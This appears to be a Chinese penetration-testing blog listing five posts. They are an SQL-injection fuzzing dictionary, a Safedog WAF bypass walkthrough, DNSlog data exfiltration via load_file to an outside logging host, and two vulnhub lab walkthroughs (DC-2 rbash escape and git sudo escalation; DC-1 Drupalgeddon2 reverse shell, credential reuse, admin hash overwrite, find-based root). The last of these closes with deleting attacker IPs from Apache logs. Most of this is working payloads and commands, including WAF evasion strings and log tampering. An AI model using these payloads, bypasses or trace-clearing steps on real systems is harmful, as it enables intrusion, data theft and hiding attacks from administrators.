首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
13,170 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
7,860 阅读
3
2025最新渗透测试靶场推荐,新手必练的靶场推荐
6,261 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,815 阅读
5
几个常见的密码字典推荐
5,535 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
192
篇文章
累计收到
2
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
192
篇与
的结果
2025-05-18
放开双手 ,SQL注入Fuzzing字典 (270个)
放开双手 ,SQL注入Fuzzing字典 (270个)什么是Fuzzing(模糊测试)?模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。字典如下:' " # - -- ' -- --'; ' ; = ' = ; = -- x23 x27 x3D x3B' x3D x27 x27x4Fx52 SELECT * x27x6Fx72 SELECT * 'or select * admin'-- ';shutdown-- <>"'%;)(&+ ' or ''=' ' or 'x'='x " or "x"="x ') or ('x'='x 0 or 1=1 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 1=1-- " or 1=1-- ' or '1'='1'-- "' or 1 --'" or 1=1-- or%201=1 or%201=1 -- ' or 1=1 or ''=' " or 1=1 or ""=" ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a 'hi' or 'x'='x'; @variable ,@variable PRINT PRINT @@variable select insert as or procedure limit order by asc desc delete update distinct having truncate replace like handler bfilename ' or username like '% ' or uname like '% ' or userid like '% ' or uid like '% ' or user like '% exec xp exec sp '; exec master..xp_cmdshell '; exec xp_regread t'exec master..xp_cmdshell 'nslookup www.google.com'-- --sp_password x27UNION SELECT ' UNION SELECT ' UNION ALL SELECT ' or (EXISTS) ' (select top 1 '||UTL_HTTP.REQUEST 1;SELECT%20* to_timestamp_tz tz_offset <>"'%;)(&+ '%20or%201=1 %27%20or%201=1 %20$(sleep%2050) %20'sleep%2050' char%4039%41%2b%40SELECT '%20OR 'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 ' or 1=1 or ''=' ' or ''=' x' or 1=1 or 'x'='y / // //* */* ' ' and '' like ' ' AnD '' like ' ' or '' like ' ' and '' like '% ' aND '' like '% ' and '' like ''-- ' and 2>1-- ' and 2>3-- ') and ('x'='x ) and (1=1 'or''=' 'or'='or' a' or 1=1-- "a"" or 1=1--" or a = a a' or 'a' = 'a 1 or 1=1 a' waitfor delay '0:0:10'-- 1 waitfor delay '0:0:10'-- declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q) declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s) a' ? ' or 1=1 ‘ or 1=1 -- x' AND userid IS NULL; -- x' AND email IS NULL; -- anything' OR 'x'='x x' AND 1=(SELECT COUNT(*) FROM tabname); -- x' AND members.email IS NULL; -- x' OR full_name LIKE '%Bob% 23 OR 1=1 '; exec master..xp_cmdshell 'ping 172.10.1.255'-- ' '%20or%20''=' '%20or%20'x'='x %20or%20x=x ')%20or%20('x'='x 0 or 1=1 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # or 0=0 #" or 0=0 # ' or 1=1-- " or 1=1-- ' or '1'='1'-- ' or 1 --' or 1=1-- or%201=1 or%201=1 -- ' or 1=1 or ''=' or 1=1 or ""= ' or a=a-- or a=a ') or ('a'='a ) or (a=a hi or a=a hi or 1=1 --" hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a "hi"") or (""a""=""a" 'hi' or 'x'='x'; @variable ,@variable PRINT PRINT @@variable select insert as or procedure limit order by asc desc delete update distinct having truncate replace like handler bfilename ' or username like '% ' or uname like '% ' or userid like '% ' or uid like '% ' or user like '% exec xp exec sp '; exec master..xp_cmdshell '; exec xp_regread t'exec master..xp_cmdshell 'nslookup www.google.com'-- --sp_password x27UNION SELECT ' UNION SELECT ' UNION ALL SELECT ' or (EXISTS) ' (select top 1 '||UTL_HTTP.REQUEST 1;SELECT%20* to_timestamp_tz tz_offset <>"'%;)(&+ '%20or%201=1 %27%20or%201=1 %20$(sleep%2050) %20'sleep%2050' char%4039%41%2b%40SELECT '%20OR 'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 ' or 1=1 or ''=' ' or ''=' x' or 1=1 or 'x'='y / // //* */* a' or 3=3-- "a"" or 3=3--" ' or 3=3 ‘ or 3=3 --使用shodan查找靶机访问端口+IP打开burp suite从文件加载字典测试,直接看响应长度即可往期推荐开箱即用!265种windows渗透工具合集--灵兔宝盒我是如何利用Typora写网络安全技术文章的,公众号格子背景又是如何做到的?【kali笔记】这样炫酷的终端签名,是如何打印出来的?【内网渗透】免工具,内网、域内信息收集的40种方式总结【渗透测试】16个实用谷歌浏览器插件分享
2025年05月18日
1,162 阅读
0 评论
0 点赞
2025-05-18
安全狗waf绕过-sql注入
安全狗WAF绕过系列一、WAF概述WAF(Web应用防火墙)作为一种专为Web应用程序设计的安全防护工具,其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略,来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集,这些规则旨在对每一个进入系统的请求内容进行细致审查,并对任何违反安全策略的请求采取即时且有效的防御措施,从而维护Web应用环境的纯净与安全。二、WAF工作机制详解WAF的工作流程精心构建,涵盖四个关键环节:预处理、规则匹配、响应处理以及日志记录,共同编织成一张紧密的安全防护网。 预处理阶段:此阶段,WAF首先担任起“守门人”的角色,对所有进入的数据请求流量进行初步筛选,确认其是否遵循HTTP/HTTPS协议标准。紧接着,WAF会利用预设的白名单机制,快速识别并放行那些已知安全或信任的URL请求,直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求,WAF则进一步深入,对其数据包进行精细解析,为后续的安全检测做准备。 规则匹配阶段:此为核心环节,WAF利用其内置的强大规则引擎,对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式,包括但不限于SQL注入、跨站脚本(XSS)、命令注入等常见Web安全威胁。通过这一过程,WAF能够精准识别出潜在的恶意请求,为后续的安全响应奠定坚实基础。 响应处理阶段:基于规则匹配的结果,WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求,WAF会毫无阻碍地将其转发至后端Web服务器,确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求,WAF则展现出其防御实力,通过阻断请求、记录日志或触发告警等多种方式,有效遏制潜在的安全风险,保护Web应用免受侵害。 三、常见的WAF绕过姿势常见的WAF(Web应用防火墙)绕过姿势包括但不限于以下几种: 提交方式变换:许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以尝试将攻击载荷通过不同的提交方式进行发送,以绕过WAF的检测。 大小写替换和编码绕过:利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷,通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码,以绕过WAF的过滤规则。 事件函数变换:WAF会重点识别触发JavaScript代码执行的事件函数字段,如onclick。通过变换事件函数名称或利用其他不常见的事件函数,可以尝试绕过WAF的识别。 注释符和内联注释:使用SQL注释符(如--、#)或HTML/JavaScript注释(如<!-- -->、//)来绕过WAF对特定关键字的过滤。有时,将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。 分片传输:通过调整HTTP请求中的Content-Length头部,将攻击载荷分成多个部分发送,可能导致WAF无法完整解析请求内容,从而绕过检测。 利用WAF软肋:WAF在部署时可能因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为,可能发现并利用这些软肋进行绕过。 爬虫白名单绕过:部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。 高并发流量攻击:通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永久性地绕过WAF的防护。 请注意,上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前,请确保已获得合法授权。四、安全狗绕过姿势环境:phpstudy—apache2.4.39安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html当然如果需要套件,我都给你准备好了关注后台回复【安全狗】即可获取,感谢宝子们一直以来的关注在开始之前,如果没有SQL注入基础的的童鞋,还请观看我的另外一篇文章,1w字超详细解析。以下内容皆使用sqli第一关进行测试测试 id=1' and 1=1http://192.168.209.131/Less-1/?id=-1' and 1=1在之前的尝试中,我们发现直接使用“and 1=1”这种方法似乎并不奏效,这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的,我们可以尝试将“and 1=1”进行拆分http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+ http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定进行实验。http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+ http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+实验结果,证实了确实是and+空格+字符串的格式会被拦截。这里我们就可以开始尝试利用注释符、回车符%0a等来代替空格进行绕过了!!在此输入:http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+发现依旧不行,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的注释符中然后点击发送到intruder模块,选择如下:然后,点击pyload,选择暴力破解(Brute forcer):attack,开始攻击,安全狗有流量攻击的防御,后面可能会被拦截,解决办法直接重启apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个请求成功payload(检查response即可查看是否成功,如果用户名正常显示,说明该字符payload安全狗没有进行拦截)。我们随便娶一个/!*得到payload和注释符拼接/*/!**/,这个时候and和后面的1=1之间用这个拼接的符号进行连接即可http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+可以绕过了order by测试,我们用之前的测试结果,利用/*/!**/这一个充当空格,测试order by 3,然后看看能否成功?http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+完美,接下来测试联合注入。普通测试union select:http://192.168.209.131/Less-1/?id=1' union select --+union关键字测试,有回显http://192.168.209.131/Less-1/?id=1' union --+select关键字测试,有回显http://192.168.209.131/Less-1/?id=1' select --+已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则,我决定采用与之前相同的方法,利用Burp进行抓包,并加强fuzz测试中的参数进行暴力破解尝试。随便选择几个1002长度的响应结果这里我们选择payload,取/!*!/,构造注释符+payload,为/*/!*!/*/,插入union和select之间,绕过成功http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+这里还有一个思路,可以利用--+%0a这种格式通过换行继续执行,这里我们试一下看看:Tips:我的另一篇SQL注入文章有写过%0a的作用,后台回复【SQL注入】【sql】等关键字即可查看http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+ 相当于在普通sql语句中的 http://192.168.5.64/Less-1/?id=-1' union/*!--+/* select 1,database(),3*/ --+尝试报数据库http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+发现database()被拦截了我们把database的()给去掉http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+报错,此时就可以确定,安全狗应该是将database()进行检测然后我们继续使用注释符或者内联注释符看看吧:继续采用burp的fuzz测试:添加上变量扫出来4个/可以用,最简单的和之前一样,就不强调了,取注释符+payload,构造payloadhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),3 --+成功了!接下来一个一个关键词测试,group_concat()http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) --+没有拦截,继续fromhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from --+informtion_schema.tables,结果就不行了http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from informtion_schema.tables --+测试%0ahttp://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/测试查当前数据库的表名,前面已经测试过database()了http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() --+爆字段,测试到and,table_name都没拦截http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name --+直到table_name后面加了个=http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name=%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name= --+那么开始fuzz测试爆破随便娶一个payload和注释符进行拼接,如下http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20table_name/*/***/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and table_name/*/***/="users" --+回车%0a的绕过方式http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and /*!-- /* table_name*/="users" --+爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator '-'http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(id,username,password separator '-') from /*!-- /* users*/ --+这里使用的是sqli第12关有安全狗防火墙,数据包如下uname=123")%20and%20updatexml(0x3a,concat(0x3a,(select%20user()),0x3a),0x3a)#&passwd=123&submit=Submit进行分块传输(这里用到一个插件)联系作者即可获取(备注【分块插件】)编码请求体后注意最后两行需要空着,但凡少一行都会造成请求不成功少一行之后,响应失败脏数据构造大型数据包比如但是如果没有足够大的数据包,也是不能够进行绕过的,比如数据包中post无限制,get可能会进行限制hex编码这里没有复现案例,仅供参考前提:没有过滤掉0x例如select * from users where name="admin"总结通过本文的详细解析和实验,我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时,攻击者并非束手无策,而是可以通过多种方式绕过检测规则,成功实施SQL注入攻击。本文首先通过基础的SQL注入测试,验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后,通过拆分和注释符的使用,我们发现WAF可能是通过识别特定模式(如“and”后紧跟空格和字符)来拦截SQL注入的。基于此发现,我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测,成功实施了更复杂的SQL注入攻击,包括联合查询注入,获取数据库表名、列名以及具体数据等。通过本文的学习,我们不仅能够加深对SQL注入攻击的理解,还能够掌握一些实用的绕过WAF防护的技巧。然而,需要强调的是,这些技巧仅用于合法的安全测试和教育目的,任何未经授权的SQL注入攻击都是非法的,并可能带来严重的法律后果。因此,我们呼吁广大开发人员和安全从业者,应持续关注和提升Web应用的安全性,共同维护网络空间的安全与稳定。免责声明:本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限,并对自己的行为负责。教程内容不保证绝对安全或成功,使用风险自负。
2025年05月18日
877 阅读
0 评论
0 点赞
2025-05-18
sql注入之dnslog
DNSlog注入全解析DNSlog原理 DNS(Domain Name System):负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。 DNSlog:即DNS的日志,记录了域名解析时的域名和解析IP的信息。 DNSlog外带原理:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。 DNSlog注入 关键函数:Load_file,用于读取文件并返回其内容为字符串。访问互联网文件时,需在最前面加上“//”。 使用前提: 存在注入点。 拥有root权限。 数据库具有读写权限,即secure_file_priv设置为空字符串。 具备请求URL的权限。 必须是Windows服务器环境。 复现过程D盘中写了个1.txt通过load_file函数,读取一下 select load_file('D:/1.txt')由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接select concat('Sentiment','\',(select database()));这里我用的是dnslog.org,获取一个随机的dns域名接下来通过sqli第一关进行演示,通过你获取的随机dns域名DNSlog外带数据库信息,注意dns域名前面需要有个点,否则会导致外带不成功http://192.168.209.149/Less-1/?id=1' and load_file(concat('\\\',database(),'.eaf61aee.log.dnslog.biz./abc')) -- w此时dns解析记录就有了你靶机的数据库名称前缀外带表名?id=1' and load_file(concat('\\\',(select group_concat(table_name separator '-') from information_schema.tables where table_schema=database()),'.eaf61aee.log.dnslog.biz./abc')) -- w外带列名?id=1' and load_file(concat('\\\',(select group_concat(column_name separator '-') from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w局限性通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性?id=1' and load_file(concat('\\\',(select hex(group_concat(column_name separator '_')) from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w十六进制转字符网安学习不迷路,欢迎各位网络安全大佬进来交流学习
2025年05月18日
783 阅读
0 评论
0 点赞
2025-05-18
DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程
前言由于传播、利用本公众号小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要介绍了【wpscan】、【cewl】、【rbash逃逸】的使用技巧,靶场为vulnhub的机器大家可以自行下载,如果文章哪有不对,还请师傅们留言指出,谢谢您。环境准备靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip攻击机:Kali网络:nat模式靶机复现nmap主机发现,192.168.209.166或者使用arp-scan -lnmap -sP 192.168.209.0/24对扫描出的靶机进行全端口扫描nmap -sS -p- 192.168.209.166我访问这个ip的时候,自动跳转到了http://dc-2但是我加上这个ip之后404index.php可以正常访问那么应该就是host文件问题,修改hosts C:WindowsSystem32driversetchosts在行尾添加这一行内容保存之后,再次访问首页,就可以正常访问靶场了Flag1"Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl."大致意思就是你可能需要cewl这款工具看目录扫描结果,这是一个WordPress网站,有一个后台界面wp-adminsql注入万能密码拦截登录响应登录失败还有一些其他的测试方法,比如xss,弱口令都不行,这里我们就要用到cewl这个工具了Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。我们将扫描结果重定向到passwd.txt(就是保存文件或者使用cewl的自带的-m参数)使用wpscan枚举可能的用户名WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。一共扫描出来三个用户admin,jerry,tom可以使用此时我们已经有了用户名和密码字典使用wpscan爆破账号密码,指定刚刚我们生成的用户字典users.txt和密码字典passwd.txt爆破成功,结果如下jerry / adipiscing tom / parturient来登录成功在旁边导航栏找到了Pages,即可得到flag2这提示跟没提示一样If you can't exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.文件上传上传一个php文件,被禁止了只能上传图片文件,我找了半天也没找到文件包含漏洞的地方文件后缀爆破,也全部失败了系统渗透换思路我们之前端口扫描的时候有一个7744端口,不知道是什么服务,百度也搜不出来用ssh默认22端口是拒绝服务的,指定一下7744端口的时候既让让我们输入密码,那这个就是ssh服务端口了第一个用户测试失败jerry / adipiscing第二个用户,登录成功tom / parturient命令被限制了'rbash'什么是rbash?它与一般shell的区别在于会限制一些行为,让一些命令无法执行,这里就让我的cat、clear、su等等命令进行了限制查看可用的命令compgen -c滑到最下面,有一个vi命令flag3.txt内容:可怜的老Tom总是追着Jerry跑。也许他应该为自己造成的压力而死。---网易有道Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.我们去/etc/passwd,看看能不能添加一个”root“用户,看样子不行了,你也可以直接查看这个文件的权限,这里我就不掩饰了去home,cd 并不能直接使用,但是有一个 ls直接找到了flag4告诉我们使用git离开这里,应该就是让我们用git提权查看文件所属,是jerry的,这里直接跳过吧,找到就好,没什么作用了我们看看刚刚的flag3.txt,所属用户为tom那么就用它提权试试执行:shell这里直接"提权"成功了但是没什么作用哈,root目录也切换不了查看环境变量rbash逃逸我们通过修改环境变量,之后使用jerry / adipiscing登录tom@DC-2:~$ export PATH=$PATH:/bin/ # 直接添加环境变量 rbash: PATH: readonly variable # rbash tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 把/bin/sh给a $ /bin/bash tom@DC-2:~$ su # 这里修改了BASH_CMDS的值后并不能直接使用su命令 bash: su: command not found tom@DC-2:~$ export PATH=$PATH:/bin/ # 添加环境变量 tom@DC-2:~$ su jerry # su 正常使用 Password: jerry@DC-2:/home/tom$ 图解此时我们是jerry权限,还是进不去root查看当前suid可用命令find / -perm -u=s -type f 2>/dev/null这里有一个sudo可以用,rbash逃逸中的必要条件git提权sudo git help config !/bin/bash 或 !'sh' #完成提权 # 或者 sudo git -p help !/bin/bash #输入!/bin/bash 即可打开一个用户为root的shellok完成dc-2靶机总结本文详细介绍了利用Kali Linux对vulnhub的DC-2靶机进行渗透测试的过程。通过nmap发现靶机及开放端口,利用cewl和wpscan工具生成字典,并成功爆破WordPress后台账号密码。面对rbash限制,通过环境变量修改实现逃逸,并利用git和sudo提权获取root权限。整个流程覆盖了信息收集、漏洞利用、权限提升等多个阶段,展示了全面的渗透测试技巧。往期推荐Love-Yi情侣网站存在sql注入漏洞DC-1综合渗透从外网打到内网,msf后渗透,权限提升,入侵痕迹清除,绝对干货!Linux中Find命令也能提权?提权方式一文通透喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透【Kali笔记】 Kali Shell编程从基础到进阶
2025年05月18日
1,402 阅读
0 评论
0 点赞
2025-05-18
DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏
DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏前言由于传播、利用本公众泷羽Sec提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号泷羽Sec团队及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。环境准备靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/攻击机:kali,自行准备信息收集开启靶机,切换net/桥接模式nmap探测主机存活80/sP探测nmap的基本使用,以及高级用法文章参考:nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式# 或者 nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。靶机端口扫描,开放了22、80、111、34471端口nmap 192.168.209.157 -p- -v访问http服务的80端口,进入到web界面,有一个登录sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入注册一个用户试试,他还要发送邮件,并没有让我们填写密码需要批准之后才能注册用户由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用访问也没发现什么有用的内容在这里没用,应该是一个api接口还有一些七七八八的就不看了,基本没啥作用的漏洞探测使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息whatweb -v 192.168.209.157msf漏洞利用msf漏洞利用神器,直接搜索Drupal这些模块msfconsole search Drupal使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的show payloads我们使用第二个模块试试use unix/webapp/drupal_drupalgeddon2 # 或者 use 1 # 然后 show payloads # 显示该模块下的所有payload发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中设置payload为tcp反弹shellset payload payload/php/meterpreter/reverse_tcp当然也可以使用tcp正向连接set payload payload/php/meterpreter/bind_tcp他们的区别正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping这里就使用反向连接来测试如果出现如下错误多半是防火墙端口没有放行就是配置下的本地监听端口使用iptables放行端口 sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT这个时候重新开始攻击即可run getuid后渗透查看系统信息sysinfo获取shellshell上面终端显示的样子不好看,使用python调用系统终端python -c "import pty;pty.spawn('/bin/bash')"这样子就好看多了找到flag1.txt他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下find . -name 'set*'又给了你一个提示What can you do with these credentials?你能用这些凭证做什么?$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );那当然是连接本地数据库咯mysql -udbuser -pR0ck3t查看所有数据库切换到这个站点的数据库,并查看有什么表use drupaldb show tables;找到有一个users表里面包含用户名/密码信息select * from users;这样子不好看,那么我们就加一个Gselect * from usersG;不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了从当前站点目录查找这个文件,并发现有一个password-hash.sh文件find . -name '*hash*'在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?把他复制下来$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq进入mysqlmysql -udbuser -pR0ck3t修改密码update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';登录成功了!这里我们就找到了flag3点进去找到这个,提示我们去passwd文件看看提示我们去passwd,找到flag4cat /etc/passwd切换flag4用户下的目录查看这个文件的权限,尝试追加用户提权,但是只能root读写find / -perm -u=s -type f 2>/dev/null # `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。使用find提权find / -exec "/bin/bash" -p ;提权成功,找到了最后一个flag痕迹清除观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)1、中间件日志清除对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。 find / -name 'access*'查看都有一些什么内容cat /var/log/apache2/access.log筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录sed -i '/192.168.209.1/d' /var/log/apache2/access.log这条命令会直接在原文件中删除所有包含192.168.209.1的行。-i选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志cat 